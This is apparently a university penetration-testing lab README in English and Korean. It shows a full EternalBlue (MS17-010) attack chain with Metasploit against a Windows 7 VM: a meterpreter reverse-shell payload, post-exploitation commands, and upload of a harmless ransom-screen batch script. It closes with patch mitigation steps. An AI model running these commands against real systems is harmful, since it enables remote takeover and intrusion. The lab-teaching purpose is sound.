
Cybersecurity lab demonstrating exploitation of CVE-2017-0144 (EternalBlue) using Metasploit against a vulnerable Windows 7 VM, achieving SYSTEM-level access via Meterpreter. Includes full attack chain, post exploitation, and mitigation via MS17-010 patching, tested in an isolated ethical lab environment.
CVE-2017-0144 (EternalBlue)를 Metasploit을 사용하여 취약한 Windows 7 시스템에서 익스플로잇하고 Meterpreter를 통해 SYSTEM 수준 접근을 달성하는 사이버 보안 실습입니다.
이 프로젝트는 또한 WannaCry 스타일의 랜섬웨어 공격(안전 데모)을 시뮬레이션하고 MS17-010 보안 패치를 사용한 완화 방법을 보여줍니다.
모듈: CSCM828 보안 취약점 및 침투 테스팅
학생:
대학: Swansea University
MS17-010 EternalBlue SMB 원격 Windows 커널 풀 손상
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
KB4012212 (Windows 7 x64 보안 업데이트)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212%20Windows%207%20x64
Kali Linux (가상 머신 다운로드)
https://www.kali.org/get-kali/#kali-virtual-machines
Windows 7 SP1 Home Premium 영어 x64 (ISO)
https://archive.org/details/windows-7-home-prem-english
VMware Workstation Pro 17.6.4
https://www.vmware.com/products/desktop-hyper
이 실습은 다음을 보여줍니다:
⚠️ 이 실습은 완전히 격리된 환경에서 수행되어야 합니다.
관리자 명령 프롬프트에서 실행:
netsh advfirewall set allprofiles state off
netstat -an | findstr :445
sc stop wuauserv
sc config wuauserv start= disabled
ping <victim-ip>
nmap -p 445 <victim-ip>
nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>
예상 결과:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <victim-ip>
set LHOST <attacker-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
meterpreter > getuid
예상 결과:
NT AUTHORITY\SYSTEM
sysinfo
getuid
ps
screenshot
shell
whoami
ipconfig
ps
migrate <explorer.exe PID>
cat > /tmp/wannacry64.bat << 'EOF'
@echo off
title WannaCryptor Demo - SAFE SIMULATION
color 0a
mode con: cols=80 lines=25
cls
setlocal enabledelayedexpansion
set id=%random%-%random%-%random%
set /a timeleft=60
:main
cls
echo ========================================================
echo WANNA DECRYPTOR 0.4 x64 (DEMO)
echo ========================================================
echo.
echo All files have been encrypted!
echo.
echo Send 0.25 BTC to:
echo 13AM4VWSEwlt4cLnoQNFfqJDwZ8m9dkVml
echo.
echo Personal ID: %id%
echo.
echo Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.
echo Initializing encryption...
timeout /t 2 >nul
for /l %%i in (1,1,20) do (
set /a percent=%%i*5
call :progress !percent!
timeout /t 1 >nul
)
goto countdown
:progress
set bar=
set /a blocks=%1/5
for /l %%b in (1,1,!blocks!) do set bar=!bar!#
cls
echo ========================================================
echo ENCRYPTING FILES...
echo ========================================================
echo.
echo Progress: [%bar%] %1%%
echo.
set /a randfile=%random% %% 5
if !randfile!==0 echo Encrypting: documents.docx
if !randfile!==1 echo Encrypting: photos.jpg
if !randfile!==2 echo Encrypting: database.sql
if !randfile!==3 echo Encrypting: backup.zip
if !randfile!==4 echo Encrypting: project.pptx
exit /b
:countdown
cls
:loop
cls
echo ========================================================
echo YOUR FILES ARE ENCRYPTED
echo ========================================================
echo.
echo Pay within the time limit or files will be lost!
echo.
echo Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.
if !timeleft! LEQ 0 goto end
set /a timeleft-=1
timeout /t 1 >nul
goto loop
:end
cls
echo ========================================================
echo TIME EXPIRED
echo ========================================================
echo.
echo Your files are permanently locked.
echo.
echo (This was a SAFE DEMO simulation)
echo.
echo ========================================================
pause
EOF
meterpreter > upload /tmp/wannacry64.bat C:\\Windows\\Temp\\wannacry64.bat
meterpreter > execute -f cmd.exe -a "/c start C:\Windows\Temp\wannacry64.bat"
.msu 파일 다운로드wusa.exe KB4012212-x64.msu /quiet /norestart
shutdown /r /t 0
systeminfo | findstr KB4012212
예상 결과:
nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>
예상 결과:
| 문제 | 해결 방법 |
|---|---|
| 익스플로잇 실패 | 연결 확인 |
| 세션 없음 | 방화벽 비활성화 |
| 세션 종료 | 익스플로잇 재시도 |
| 창이 보이지 않음 | explorer.exe로 마이그레이션 |
이 프로젝트는 다음 조건에서 수행됩니다:
무단 사용은 다음을 위반합니다:
이 실습은 다음을 보여줍니다: